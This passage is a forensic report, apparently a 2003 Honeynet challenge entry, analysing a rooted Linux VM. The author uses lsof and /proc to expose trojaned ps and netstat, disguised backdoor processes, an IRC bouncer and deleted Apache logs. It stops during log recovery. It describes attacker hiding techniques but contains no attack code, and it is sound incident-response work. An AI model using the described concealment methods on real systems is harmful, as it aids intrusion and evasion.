Scan 29 Report

submitted Sept 26, 2003 by Thierry Carrez


Table of contents

1. Live system analysis
1.1 Setup
1.2 Direct analysis
1.3 Installing lsof and listing open ports
1.4 Using lsof to list open resources on suspicious processes
1.5 Open file descriptors
1.6 Recovering log files

2. Perimeter analysis
2.1 Setup
2.2 Nmap
2.3 Nessus

3. Filesystem analysis
3.1 Setup
3.2 Reading interesting files
3.3 Modified or missing files
3.4 Recovering added files
3.5 Analysis of added files : attack phase 1
3.6 Analysis of added files : attack phase 2
3.7 Analysis of added files : attack phase 3
3.8 Analysis of added files : attack phase 4
3.9 String search for "(swapd)" on the disk surface
3.10 String search for "sp0" on the disk surface

4. Answers

5. Reference of tools used


1. Live system analysis

1.1 Setup

First of all, we download the files and check that the MD5s are correct, then uncompress the virtual machine.

Now, we must establish a secure environment for the live test of the compromised system. We don't want it to have a network access to the VMWare host and the rest of our network. By default (and that's what is used in the compromised host's case) VMWare offers Bridged networking (through /dev/vmnet0), which means complete LAN access to the guest. We will change this so that the system only accesses a virtual switch (/dev/vmnet2) on a closed virtual network. This requires manual editing of the linux.vmx file (change /dev/vmnet0 to /dev/vmnet2), since the VMWare GUI doesn't allow you to change parameters of a suspended virtual machine.

We start the virtual machine and we take a VMWare snapshot. Using the "revert to snapshot" feature, we will be able to revert back to this original state later. This will allow us to minimize the impact of our actions during the analysis.

1.2 Direct analysis

First, we'll have a look at the logfiles directory to see if there is something suspicious there.
[[email protected] root]# ls -l /var/log
total 32
-rw-------    1 root    root           676 Aug 10 15:54 boot.log
-rw-------    1 root    root          3665 Aug 10 20:30 cron
-rw-------    1 root    root         16694 Aug 10 20:30 maillog
lrwxrwxrwx    1 root    root             9 Aug 10 15:30 messages -> /dev/null
-rw-------    1 root    root           179 Aug 10 18:58 secure
-rw-------    1 root    root             0 Aug 10 13:33 spooler
-rw-r--r--    1 root    root             0 Aug 10 13:33 wtmp
Apparently, the 'messages' log file is symlinked to /dev/null, so messages are no longer logged. We can consider that log information might have been altered. We'll see later if we can recover the lost 'messages' log.

Now, there is a high probability that we have a root-compromised host. Nothing we see while running this host can be trusted, as system commands may have been trojaned to report false info. Let's check the md5sum to popular status commands like ps and netstat. md5sum may also have been trojaned so if it says everything is OK we can't trust it. But if md5sum reports a difference, then we are sure some commands have been modified...

[[email protected] root]# md5sum `which ps`
a71c756f78583895afe7e03336686f8b  /bin/ps
[[email protected] root]# md5sum `which netstat`
c0e8b6ff00433730794eda274c56de3f  /bin/netstat
Here is what the linux-suspended-md5s file recorded for these files :
[email protected] SotM $ grep ' /bin/ps' linux-suspended-md5s
881c7af31f6f447e29820fb73dc1dd9a  /bin/ps
[email protected] SotM $ grep ' /bin/netstat' linux-suspended-md5s
0ea03807e53e90b147c4309573ebc76a  /bin/netstat
The md5sums for these two commands have changed... Those two have been trojaned, probably to hide some processes and network connections. Let's see what the trojaned 'netstat' returns :
[[email protected] root]# netstat -tuln
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0      0 192.168.1.79:65336      213.154.118.200:1188    ESTABLISHED
tcp        0      0 0.0.0.0:65436           0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:443             0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.1:25            0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:3128            0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:65336           0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:23              0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:21              0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:2003            0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:113             0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:79              0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:139             0.0.0.0:*               LISTEN
udp        0      0 0.0.0.0:3049            0.0.0.0:*
udp        0      0 0.0.0.0:138             0.0.0.0:*
udp        0      0 192.168.1.79:138        0.0.0.0:*
udp        0      0 0.0.0.0:137             0.0.0.0:*
udp        0      0 192.168.1.79:137        0.0.0.0:*
The information is probably modified, but it still shows suspicious things, like listening servers on non-standard ports TCP 2003 65336 and 65436 and UDP 3049. What does the trojaned 'ps' say ?
[[email protected] root]# ps axlw
 FLAGS   UID   PID  PPID PRI  NI   SIZE   RSS WCHAN       STA TTY TIME COMMAND
   100     0     1     0   8   0   1412   520 do_select   S   ?   0:05 init
    40     0     4     0  19  19      0     0 ksoftirqd   SWN ?   0:00 [ksoftirqd_CPU0]
   840     0     6     0   9   0      0     0 kreclaimd   SW  ?   0:00 [kreclaimd]
    40     0     7     0   9   0      0     0 bdflush     SW  ?   0:00 [bdflush]    ...
    40     0     2     1   9   0      0     0 context_thr SW  ?   0:00 [keventd]    ...
    40     0     9     1  -1 -20      0     0 md_thread   SW< ?   0:00 [mdrecoveryd]
    40     0    17     1  10   0      0     0 end         SW  ?   0:04 [kjournald]
    40     0    92     1   9   0      0     0 end         SW  ?   0:00 [khubd]
   140     0   657     1   8   0   1396   524 do_select   S   ?   0:00 /usr/sbin/apmd ...
   140    98   677     1   9   0  26932   944 wait_for_co S   ?   0:00 identd -e -o
   140     0   699     1   9   0   2676  1272 do_select   S   ?   0:00 /usr/sbin/sshd
   140     0   732     1   9   0   2264   956 do_select   S   ?   0:00 xinetd -stayalive ...
   140     0   759     1  13   0   5296  1984 do_select   S   ?   0:00 sendmail: accepting connections
   140     0   778     1   9   0   1440   496 do_select   S   ?   0:00 gpm -t ps/2 -m /dev/mouse
    40     0   820     1   8   0   1584   660 nanosleep   S   ?   0:00 crond
   140     0   850     1   9   0   2416  1084 do_select   S   ?   0:00 nmbd -D
   100     0   893     1   9   0   2320  1076 wait4       S    1  0:00 login --root
   100     0   894     1   9   0   1384   448 read_chan   S    2  0:00 /sbin/mingetty tty2
   100     0   895     1   9   0   1384   448 read_chan   S    3  0:00 /sbin/mingetty tty3
   100     0   896     1   9   0   1384   448 read_chan   S    4  0:00 /sbin/mingetty tty4
   100     0   899     1   9   0   1384   448 read_chan   S    5  0:00 /sbin/mingetty tty5
   100     0   900     1   9   0   1384   448 read_chan   S    6  0:00 /sbin/mingetty tty6
    40     0  3247     1   9   0   1472   592 do_select   S   ?   0:00 syslogd -m 0
   140     0  3252     1   9   0   1984  1096 do_syslog   S   ?   0:00 klogd -2
    40     0 15119     1  11   0   2296  1240 do_poll     S   ?   0:00 initd
    40     0 25239     1   9   0   1880   336 wait_for_pa S   ?   0:00 /lib/.x/s/xopen -q -p 3128
    40     0 25241     1   9   0   1888   672 do_select   S   ?   0:00 /lib/.x/s/xopen -q -p 3128
   140     0 25247     1   9   0   1668   732 wait_for_pa S   ?   0:00 /lib/.x/s/lsn
    40    98   685   677   9   0  26932   944 do_poll     S   ?   0:00 identd -e -o
    40    98   686   685   9   0  26932   944 rt_sigsuspe S   ?   0:00 identd -e -o
    40    98   695   685   9   0  26932   944 rt_sigsuspe S   ?   0:00 identd -e -o
    40    98   696   685   9   0  26932   944 rt_sigsuspe S   ?   0:00 identd -e -o
   100     0   901   893  17   0   2444  1276 wait4       S    1  0:00 -bash
100000     0 15383   901  19   0   1912   632             R    1  0:00 ps axlw
Same as above, information is probably modified, but some suspicious things remain apparent, like those /lib/.x/s-located processes.

Finally, let's crosscheck the trojaned 'ps' process list with what the kernel reports... /proc contains a directory for each running process, and from there we can see that at least PIDs 845 3137 3153 are hidden in the trojaned 'ps' output. This definitely confirms the machine has been compromised. To get more information, we'll have to install 'lsof', a very useful command to list resources used by a running process. If there isn't a lower-level rootkit installed, it may report some useful information.

1.3 Installing lsof and listing open ports

We download a RedHat-7.2-compatible lsof RPM. To minimize the impact on the running system, we don't want to install the RPM the classic way, so we transform the rpm to tar.gz using rpm2targz and copy it to a floppy disk. Then we revert to the original VMWare snapshot to get a fresh setup with fresh current connections, untar the file from the floppy, and here is what we get for listening servers and open connections :
[[email protected] root]# mount -t minix /dev/fd /mnt/floppy
[[email protected] root]# tar zxvf /mnt/floppy/lsof-4.51-2.i386.tar.gz
[[email protected] root]# usr/sbin/lsof -i -n
COMMAND    PID USER   FD   TYPE DEVICE SIZE NODE NAME
identd     677 root    4u  IPv4    836       TCP *:auth (LISTEN)
identd     685 root    4u  IPv4    836       TCP *:auth (LISTEN)
identd     686 root    4u  IPv4    836       TCP *:auth (LISTEN)
identd     695 root    4u  IPv4    836       TCP *:auth (LISTEN)
identd     696 root    4u  IPv4    836       TCP *:auth (LISTEN)
sshd       699 root    3u  IPv4    860       TCP *:ssh (LISTEN)
xinetd     732 root    3u  IPv4    881       TCP *:finger (LISTEN)
xinetd     732 root    4u  IPv4    882       TCP *:telnet (LISTEN)
xinetd     732 root    5u  IPv4    883       TCP *:ftp (LISTEN)
sendmail   759 root    4u  IPv4    925       TCP 127.0.0.1:smtp (LISTEN)
smbd       845 root    9u  IPv4   1015       TCP *:netbios-ssn (LISTEN)
nmbd       850 root    6u  IPv4   1025       UDP *:netbios-ns
nmbd       850 root    7u  IPv4   1026       UDP *:netbios-dgm
nmbd       850 root    8u  IPv4   1028       UDP 192.168.1.79:netbios-ns
nmbd       850 root    9u  IPv4   1029       UDP 192.168.1.79:netbios-dgm
smbd      3137 root    6u  IPv4   4571       TCP *:cfinger (LISTEN)
smbd      3137 root   16u  IPv4    976       TCP *:https (LISTEN)
smbd      3137 root   17u  IPv4    977       TCP *:http (LISTEN)
(swapd)   3153 root   16u  IPv4    976       TCP *:https (LISTEN)
(swapd)   3153 root   17u  IPv4    977       TCP *:http (LISTEN)
initd    15119 root    3u  IPv4  15617       TCP *:65336 (LISTEN)
initd    15119 root    5u  IPv4  15619       TCP *:65436 (LISTEN)
initd    15119 root    6u  IPv4  16157       TCP 192.168.1.79:65336->213.154.118.200:1188 (ESTABLISHED)
initd    15119 root    9u  IPv4  15909       TCP 192.168.1.79:1146->199.184.165.133:ircd (ESTABLISHED)
initd    15119 root   12u  IPv4  16191       TCP 192.168.1.79:1149->64.62.96.42:ircd (ESTABLISHED)
xopen    25239 root    8u  IPv4   9972       UDP *:3049
xopen    25239 root   16u  IPv4    976       TCP *:https (LISTEN)
xopen    25239 root   17u  IPv4    977       TCP *:http (LISTEN)
xopen    25241 root    8u  IPv4  12302       TCP *:squid (LISTEN)
xopen    25241 root   16u  IPv4    976       TCP *:https (LISTEN)
xopen    25241 root   17u  IPv4    977       TCP *:http (LISTEN)
lsn      25247 root   16u  IPv4    976       TCP *:https (LISTEN)
lsn      25247 root   17u  IPv4    977       TCP *:http (LISTEN)
Comparing this output with what 'netstat' returned, we can see that several open connections and listening servers were hidden in the trojaned output. We also discover the PIDs of the process listening to the ports. Our list of suspicious processes grows : PIDs 3137 3153 15119 25239 25241 25247 are all listening to ports they probably shouldn't.

1.4 Using lsof to list open resources on suspicious processes

Let's use lsof on all suspicious processes to see what resources they use.
[[email protected] root]# usr/sbin/lsof -p 3137
COMMAND  PID USER   FD   TYPE DEVICE     SIZE  NODE NAME
smbd    3137 root  cwd    DIR    8,1     4096     2 /
smbd    3137 root  rtd    DIR    8,1     4096     2 /
smbd    3137 root  txt    REG    8,1   672527 92030 /usr/bin/smbd -D
smbd    3137 root  mem    REG    8,1   485171 44656 /lib/ld-2.2.4.so
smbd    3137 root  mem    REG    8,1   436784 44674 /lib/libnsl-2.2.4.so
smbd    3137 root  mem    REG    8,1    85115 44667 /lib/libcrypt-2.2.4.so
smbd    3137 root  mem    REG    8,1    47872 44709 /lib/libutil-2.2.4.so
smbd    3137 root  mem    REG    8,1  5772268 44650 /lib/i686/libc-2.2.4.so
smbd    3137 root    0u   CHR    1,3          31876 /dev/null
smbd    3137 root    1u   CHR    1,3          31876 /dev/null
smbd    3137 root    2u   CHR    1,3          31876 /dev/null
smbd    3137 root    3u   REG    8,1        0  3187 /var/run/httpd.mm.800.sem (deleted)
smbd    3137 root    4u   REG    8,1        0 45309 /var/log/httpd/ssl_scache.sem (deleted)
smbd    3137 root    5u  sock    0,0           3626 can't identify protocol
smbd    3137 root    6u  IPv4   4571            TCP *:cfinger (LISTEN)
smbd    3137 root   15w   REG    8,1 23335716 46935 /var/log/httpd/error_log (deleted)
smbd    3137 root   16u  IPv4    976            TCP *:https (LISTEN)
smbd    3137 root   17u  IPv4    977            TCP *:http (LISTEN)
smbd    3137 root   18w   REG    8,1 22795530 46914 /var/log/httpd/ssl_engine_log (deleted)
smbd    3137 root   19w   REG    8,1        0 45308 /var/log/httpd/ssl_mutex.800 (deleted)
smbd    3137 root   20w   REG    8,1      253 46934 /var/log/httpd/access_log (deleted)
smbd    3137 root   21w   REG    8,1      253 46934 /var/log/httpd/access_log (deleted)
smbd    3137 root   22w   REG    8,1        0 46916 /var/log/httpd/ssl_request_log (deleted)
smbd    3137 root   23w   REG    8,1        0 45308 /var/log/httpd/ssl_mutex.800 (deleted)
It's called smbd, but it's not the Samba daemon (/usr/sbin/smbd). In fact, it's "/usr/bin/smbd -D", and it's definitely not a classic SMBD. It seems to be listening on the TCP 2003, 80 and 443 ports (cfinger,http,https), and it had access to the (now deleted) files in /var/log/httpd...
[[email protected] root]# usr/sbin/lsof -p 845
COMMAND PID USER   FD   TYPE DEVICE    SIZE  NODE NAME
smbd    845 root  cwd    DIR    8,1    4096     2 /
smbd    845 root  rtd    DIR    8,1    4096     2 /
smbd    845 root  txt    REG    8,1 1342268 62567 /usr/sbin/smbd
smbd    845 root  mem    REG    8,1  485171 44656 /lib/ld-2.2.4.so
smbd    845 root  mem    REG    8,1    8192 77076 /etc/samba/secrets.tdb
smbd    845 root  mem-r  REG    8,1     696 46922 /var/cache/samba/messages.tdb
smbd    845 root  mem    REG    8,1   65997 44669 /lib/libdl-2.2.4.so
smbd    845 root  mem    REG    8,1  436784 44674 /lib/libnsl-2.2.4.so
smbd    845 root  mem    REG    8,1   35424 45479 /lib/libpam.so.0.75
smbd    845 root  mem    REG    8,1 5772268 44650 /lib/i686/libc-2.2.4.so
smbd    845 root  mem-r  REG    8,1    8192 46923 /var/cache/samba/connections.tdb
smbd    845 root    0u   CHR    1,3         31876 /dev/null
smbd    845 root    1u   CHR    1,3         31876 /dev/null
smbd    845 root    2u   CHR    1,3         31876 /dev/null
smbd    845 root    3r   CHR    1,9         35500 /dev/urandom
smbd    845 root    4u   REG    8,1    8192 77076 /etc/samba/secrets.tdb
smbd    845 root    6ww  REG    8,1      20 45310 /var/cache/samba/smbd.pid
smbd    845 root    7ur  REG    8,1     696 46922 /var/cache/samba/messages.tdb
smbd    845 root    8ur  REG    8,1    8192 46923 /var/cache/samba/connections.tdb
smbd    845 root    9u  IPv4   1015           TCP *:netbios-ssn (LISTEN)
smbd    845 root   10r  FIFO    0,0          1016 pipe
smbd    845 root   11w  FIFO    0,0          1016 pipe
smbd    845 root   12w   REG    8,1       0 46920 /var/log/samba/smbd.log (deleted)
This one looks like the normal smbd daemon... It might be hidden in the ps output just because the trojaned 'ps' has been configured to hide all *smbd* processes.
[[email protected] root]# usr/sbin/lsof -p 3153
COMMAND  PID USER   FD   TYPE DEVICE     SIZE  NODE NAME
(swapd) 3153 root  cwd    DIR    8,1     8192 58884 /usr/bin
(swapd) 3153 root  rtd    DIR    8,1     4096     2 /
(swapd) 3153 root  txt    REG    8,1    18439 92033 /usr/bin/(swapd)
(swapd) 3153 root  mem    REG    8,1   485171 44656 /lib/ld-2.2.4.so
(swapd) 3153 root  mem    REG    8,1  5772268 44650 /lib/i686/libc-2.2.4.so
(swapd) 3153 root  mem    REG    8,1   261460 44690 /lib/libnss_files-2.2.4.so
(swapd) 3153 root  mem    REG    8,1   355236 44698 /lib/libnss_nisplus-2.2.4.so
(swapd) 3153 root  mem    REG    8,1   436784 44674 /lib/libnsl-2.2.4.so
(swapd) 3153 root  mem    REG    8,1    72296 44687 /lib/libnss_dns-2.2.4.so
(swapd) 3153 root  mem    REG    8,1   261196 44703 /lib/libresolv-2.2.4.so
(swapd) 3153 root    0r   CHR    1,3          31876 /dev/null
(swapd) 3153 root    1u   CHR    3,0          35324 /dev/ttyp0
(swapd) 3153 root    2u   CHR    3,0          35324 /dev/ttyp0
(swapd) 3153 root    3u   REG    8,1        0  3187 /var/run/httpd.mm.800.sem (deleted)
(swapd) 3153 root    4u   REG    8,1        0 45309 /var/log/httpd/ssl_scache.sem (deleted)
(swapd) 3153 root    5u  sock    0,0           3626 can't identify protocol
(swapd) 3153 root    6u  sock    0,0           4602 can't identify protocol
(swapd) 3153 root    7w   REG    8,1       47 77075 /usr/lib/libice.log
(swapd) 3153 root   15w   REG    8,1 23335716 46935 /var/log/httpd/error_log (deleted)
(swapd) 3153 root   16u  IPv4    976            TCP *:https (LISTEN)
(swapd) 3153 root   17u  IPv4    977            TCP *:http (LISTEN)
(swapd) 3153 root   18w   REG    8,1 22795530 46914 /var/log/httpd/ssl_engine_log (deleted)
(swapd) 3153 root   19w   REG    8,1        0 45308 /var/log/httpd/ssl_mutex.800 (deleted)
(swapd) 3153 root   20w   REG    8,1      253 46934 /var/log/httpd/access_log (deleted)
(swapd) 3153 root   21w   REG    8,1      253 46934 /var/log/httpd/access_log (deleted)
(swapd) 3153 root   22w   REG    8,1        0 46916 /var/log/httpd/ssl_request_log (deleted)
(swapd) 3153 root   23w   REG    8,1        0 45308 /var/log/httpd/ssl_mutex.800 (deleted)
Like smbd -D, this one tries to hide behind a well known name - swapd - by calling itself "(swapd)". Other interesting point, it opens a /usr/lib/libice.log file : we will look at it later during the filesystem analysis.
[[email protected] root]# usr/sbin/lsof -p 25239
COMMAND   PID USER   FD   TYPE DEVICE     SIZE  NODE NAME
xopen   25239 root  cwd    DIR    8,1     4096 18410 /lib/.x/s
xopen   25239 root  rtd    DIR    8,1     4096     2 /
xopen   25239 root  txt    REG    8,1   217667 18413 /lib/.x/s/xopen
xopen   25239 root  mem    REG    8,1   485171 44656 /lib/ld-2.2.4.so
xopen   25239 root  mem    REG    8,1   436784 44674 /lib/libnsl-2.2.4.so
xopen   25239 root  mem    REG    8,1    85115 44667 /lib/libcrypt-2.2.4.so
xopen   25239 root  mem    REG    8,1    47872 44709 /lib/libutil-2.2.4.so
xopen   25239 root  mem    REG    8,1  5772268 44650 /lib/i686/libc-2.2.4.so
xopen   25239 root    0u   CHR    3,3          35327 /dev/ttyp3
xopen   25239 root    1w   REG    8,1     2442 47152 /lib/.x/install.log
xopen   25239 root    2u   CHR    3,3          35327 /dev/ttyp3
xopen   25239 root    3u   REG    8,1        0  3187 /var/run/httpd.mm.800.sem (deleted)
xopen   25239 root    4u   REG    8,1        0 45309 /var/log/httpd/ssl_scache.sem (deleted)
xopen   25239 root    5u  sock    0,0           3626 can't identify protocol
xopen   25239 root    6r  FIFO    0,0           9970 pipe
xopen   25239 root    7w  FIFO    0,0           9970 pipe
xopen   25239 root    8u  IPv4   9972            UDP *:3049
xopen   25239 root   15w   REG    8,1 23335716 46935 /var/log/httpd/error_log (deleted)
xopen   25239 root   16u  IPv4    976            TCP *:https (LISTEN)
xopen   25239 root   17u  IPv4    977            TCP *:http (LISTEN)
xopen   25239 root   18w   REG    8,1 22795530 46914 /var/log/httpd/ssl_engine_log (deleted)
xopen   25239 root   19w   REG    8,1        0 45308 /var/log/httpd/ssl_mutex.800 (deleted)
xopen   25239 root   20w   REG    8,1      253 46934 /var/log/httpd/access_log (deleted)
xopen   25239 root   21w   REG    8,1      253 46934 /var/log/httpd/access_log (deleted)
xopen   25239 root   22w   REG    8,1        0 46916 /var/log/httpd/ssl_request_log (deleted)
xopen   25239 root   23w   REG    8,1        0 45308 /var/log/httpd/ssl_mutex.800 (deleted)
This one looks a lot like process 3137, with two notable exceptions : it listens to port UDP 3049 and it opened a file named /lib/.x/install.log. Note that this process wasn't hidden by the trojaned system commands, which may mean that it wasn't installed by the same attacker.
[[email protected] root]# usr/sbin/lsof -p 25241
COMMAND   PID USER   FD   TYPE DEVICE     SIZE  NODE NAME
xopen   25241 root  cwd    DIR    8,1     4096     2 /
xopen   25241 root  rtd    DIR    8,1     4096     2 /
xopen   25241 root  txt    REG    8,1   217667 18413 /lib/.x/s/xopen
xopen   25241 root  mem    REG    8,1   485171 44656 /lib/ld-2.2.4.so
xopen   25241 root  mem    REG    8,1   436784 44674 /lib/libnsl-2.2.4.so
xopen   25241 root  mem    REG    8,1    85115 44667 /lib/libcrypt-2.2.4.so
xopen   25241 root  mem    REG    8,1    47872 44709 /lib/libutil-2.2.4.so
xopen   25241 root  mem    REG    8,1  5772268 44650 /lib/i686/libc-2.2.4.so
xopen   25241 root    0u   CHR    1,3          31876 /dev/null
xopen   25241 root    1u   CHR    1,3          31876 /dev/null
xopen   25241 root    2u   CHR    1,3          31876 /dev/null
xopen   25241 root    3u   REG    8,1        0  3187 /var/run/httpd.mm.800.sem (deleted)
xopen   25241 root    4u   REG    8,1        0 45309 /var/log/httpd/ssl_scache.sem (deleted)
xopen   25241 root    5u  sock    0,0           3626 can't identify protocol
xopen   25241 root    6r  FIFO    0,0           9970 pipe
xopen   25241 root    7w  FIFO    0,0           9970 pipe
xopen   25241 root    8u  IPv4  12302            TCP *:squid (LISTEN)
xopen   25241 root   15w   REG    8,1 23335716 46935 /var/log/httpd/error_log (deleted)
xopen   25241 root   16u  IPv4    976            TCP *:https (LISTEN)
xopen   25241 root   17u  IPv4    977            TCP *:http (LISTEN)
xopen   25241 root   18w   REG    8,1 22795530 46914 /var/log/httpd/ssl_engine_log (deleted)
xopen   25241 root   19w   REG    8,1        0 45308 /var/log/httpd/ssl_mutex.800 (deleted)
xopen   25241 root   20w   REG    8,1      253 46934 /var/log/httpd/access_log (deleted)
xopen   25241 root   21w   REG    8,1      253 46934 /var/log/httpd/access_log (deleted)
xopen   25241 root   22w   REG    8,1        0 46916 /var/log/httpd/ssl_request_log (deleted)
xopen   25241 root   23w   REG    8,1        0 45308 /var/log/httpd/ssl_mutex.800 (deleted)
It is another instance of the xopen executable. It listens to the TCP 3128 port (squid).
[[email protected] root]# usr/bin/lsof -p 25247
COMMAND   PID USER   FD   TYPE DEVICE     SIZE  NODE NAME
lsn     25247 root  cwd    DIR    8,1     4096 18410 /lib/.x/s
lsn     25247 root  rtd    DIR    8,1     4096     2 /
lsn     25247 root  mem    REG    8,1   485171 44656 /lib/ld-2.2.4.so
lsn     25247 root  mem    REG    8,1  5772268 44650 /lib/i686/libc-2.2.4.so
lsn     25247 root  mem    REG    8,1   261460 44690 /lib/libnss_files-2.2.4.so
lsn     25247 root  mem    REG    8,1   355236 44698 /lib/libnss_nisplus-2.2.4.so
lsn     25247 root  mem    REG    8,1   436784 44674 /lib/libnsl-2.2.4.so
lsn     25247 root  mem    REG    8,1    72296 44687 /lib/libnss_dns-2.2.4.so
lsn     25247 root  mem    REG    8,1   261196 44703 /lib/libresolv-2.2.4.so
lsn     25247 root    0u  sock    0,0           9975 can't identify protocol
lsn     25247 root    1w   REG    8,1     1224 18417 /lib/.x/s/mfs
lsn     25247 root    3u   REG    8,1        0  3187 /var/run/httpd.mm.800.sem (deleted)
lsn     25247 root    4u   REG    8,1        0 45309 /var/log/httpd/ssl_scache.sem (deleted)
lsn     25247 root    5u  sock    0,0           3626 can't identify protocol
lsn     25247 root   15w   REG    8,1 23335716 46935 /var/log/httpd/error_log (deleted)
lsn     25247 root   16u  IPv4    976            TCP *:https (LISTEN)
lsn     25247 root   17u  IPv4    977            TCP *:http (LISTEN)
lsn     25247 root   18w   REG    8,1 22795530 46914 /var/log/httpd/ssl_engine_log (deleted)
lsn     25247 root   19w   REG    8,1        0 45308 /var/log/httpd/ssl_mutex.800 (deleted)
lsn     25247 root   20w   REG    8,1      253 46934 /var/log/httpd/access_log (deleted)
lsn     25247 root   21w   REG    8,1      253 46934 /var/log/httpd/access_log (deleted)
lsn     25247 root   22w   REG    8,1        0 46916 /var/log/httpd/ssl_request_log (deleted)
lsn     25247 root   23w   REG    8,1        0 45308 /var/log/httpd/ssl_mutex.800 (deleted)
This one looks a lot like the PID 3153, except that it opens a /lib/.x/s/mfs file.
[[email protected] root]# usr/sbin/lsof -p 15119
COMMAND   PID USER   FD   TYPE DEVICE    SIZE  NODE NAME
initd   15119 root  cwd    DIR    8,1    4096 46913 /etc/opt/psybnc
initd   15119 root  rtd    DIR    8,1    4096     2 /
initd   15119 root  txt    REG    8,1  214636 47418 /etc/opt/psybnc/initd
initd   15119 root  mem    REG    8,1  485171 44656 /lib/ld-2.2.4.so
initd   15119 root  mem    REG    8,1  622317 44652 /lib/i686/libm-2.2.4.so
initd   15119 root  mem    REG    8,1  261196 44703 /lib/libresolv-2.2.4.so
initd   15119 root  mem    REG    8,1 5772268 44650 /lib/i686/libc-2.2.4.so
initd   15119 root  mem    REG    8,1  261460 44690 /lib/libnss_files-2.2.4.so
initd   15119 root  mem    REG    8,1  355236 44698 /lib/libnss_nisplus-2.2.4.so
initd   15119 root  mem    REG    8,1  436784 44674 /lib/libnsl-2.2.4.so
initd   15119 root  mem    REG    8,1   72296 44687 /lib/libnss_dns-2.2.4.so
initd   15119 root    0u   CHR  136,0             2 /dev/pts/0
initd   15119 root    1u   CHR  136,0             2 /dev/pts/0
initd   15119 root    2u   CHR  136,0             2 /dev/pts/0
initd   15119 root    3u  IPv4  15617           TCP *:65336 (LISTEN)
initd   15119 root    4w   REG    8,1    5537 92097 /etc/opt/psybnc/log/psybnc.log
initd   15119 root    5u  IPv4  15619           TCP *:65436 (LISTEN)
initd   15119 root    6u  IPv4  16157           TCP 192.168.1.79:65336->213.154.118.200:1188 (ESTABLISHED)
initd   15119 root    7w   REG    8,1       6 47416 /etc/opt/psybnc/psybnc.pid
initd   15119 root    8w   REG    8,1       0 92098 /etc/opt/psybnc/log/USER1.TRL
initd   15119 root    9u  sock    0,0         21710 can't identify protocol
initd   15119 root   10w   REG    8,1       0 92099 /etc/opt/psybnc/log/USER2.TRL
initd   15119 root   11u  IPv4  21714           UDP 192.168.1.79:1036->192.168.1.1:domain
This one is not like the others. It listens on two ports (TCP 65536 and 65436), uses log files in /etc/opt/psybnc/log/ and has an active TCP connection (and a UDP DNS lookup). Note that in the first lsof output, there were two other active connections also handled by this process :
initd    15119 root    9u  IPv4  15909       TCP 192.168.1.79:1146->199.184.165.133:ircd (ESTABLISHED)
initd    15119 root   12u  IPv4  16191       TCP 192.168.1.79:1149->64.62.96.42:ircd (ESTABLISHED)
They probably were lost due to timeout between the two lsof calls. According to documents obtained from a
Google search, PsyBNC appears to be an IRC bouncer : it proxies an IRC connection to IRC servers, thus anonymizing the client users. The connections observed confirm that behaviour : there is one client connection (from 213.154.118.200) proxied to two IRC servers (199.184.165.133 and 64.62.96.42). This and the contents of the /etc/opt/psybnc directory confirm that the 15119 process is indeed a real PsyBNC IRC bouncer.

1.5 Open file descriptors

We will look at all the log files during the filesystem analysis, but there are a number of files that might be difficult to retrieve later and that we should read now just in case : the deleted files that show on the lsof output. As long as the process lives, we can access them though the /proc/PID/fd directory. Let's look at their contents. Here is the /var/log/httpd/error_log file :
[[email protected] root]# cat /proc/25239/fd/15
[Sun Aug 10 04:02:01 2003] [notice] Apache/1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b DAV/1.0.2 configured -- resuming normal operations
[Sun Aug 10 04:02:01 2003] [notice] suEXEC mechanism enabled (wrapper: /usr/sbin/suexec)
[Sun Aug 10 13:16:27 2003] [error] [client 213.154.118.219] client sent HTTP/1.1 request without hostname (see RFC2616 section 14.23): /
[Sun Aug 10 13:16:37 2003] [error] [client 213.154.118.219] client sent HTTP/1.1 request without hostname (see RFC2616 section 14.23): /
[Sun Aug 10 13:23:17 2003] [error] [client 213.154.118.219] File does not exist: /var/www/html/sumthin
[Sun Aug 10 13:24:29 2003] [error] mod_ssl: SSL handshake failed (server localhost.localdomain:443, client 213.154.118.219) (OpenSSL library error follows)
[Sun Aug 10 13:24:29 2003] [error] OpenSSL: error:1406908F:SSL routines:GET_CLIENT_FINISHED:connection id is different
[Sun Aug 10 13:32:38 2003] [error] mod_ssl: SSL handshake failed (server localhost.localdomain:443, client 213.154.118.219) (OpenSSL library error follows)
[Sun Aug 10 13:32:38 2003] [error] OpenSSL: error:1406908F:SSL routines:GET_CLIENT_FINISHED:connection id is different
[Sun Aug 10 13:40:28 2003] [error] mod_ssl: Child could not open SSLMutex lockfile /etc/httpd/logs/ssl_mutex.800 (System error follows)
[Sun Aug 10 13:40:28 2003] [error] System: No such file or directory (errno: 2)
[..snipped same last two errors repeated..]
[Sun Aug 10 15:52:09 2003] [error] mod_ssl: Child could not open SSLMutex lockfile /etc/httpd/logs/ssl_mutex.800 (System error follows)
[Sun Aug 10 15:52:09 2003] [error] System: No such file or directory (errno: 2)
[Sun Aug 10 15:52:09 2003] [notice] caught SIGTERM, shutting down
The /var/log/httpd/ssl_engine_log is not very interesting, but here is the /var/log/httpd/access_log file :
[[email protected] root]# cat /proc/25239/fd/20
213.154.118.219 - - [10/Aug/2003:13:16:27 -0700] "GET / HTTP/1.1" 400 385 "-" "-"
213.154.118.219 - - [10/Aug/2003:13:16:37 -0700] "GET / HTTP/1.1" 400 385 "-" "-"
213.154.118.219 - - [10/Aug/2003:13:23:17 -0700] "GET /sumthin HTTP/1.0" 404 279 "-" "-"
All this gives us information on the initial attack. The first two requests look like a probe. The last one has a known signature : a Google search leads to
this article which says some OpenSSL attack tools check the server mod_ssl version using this kind of requests.

1.6 Recovering log files

Last thing we can do on the live host is try to get some (deleted) logs back. Let's look at the lsof output for the syslogd process :
[[email protected] root]# usr/sbin/lsof -p 3247
COMMAND  PID USER   FD   TYPE     DEVICE    SIZE  NODE NAME
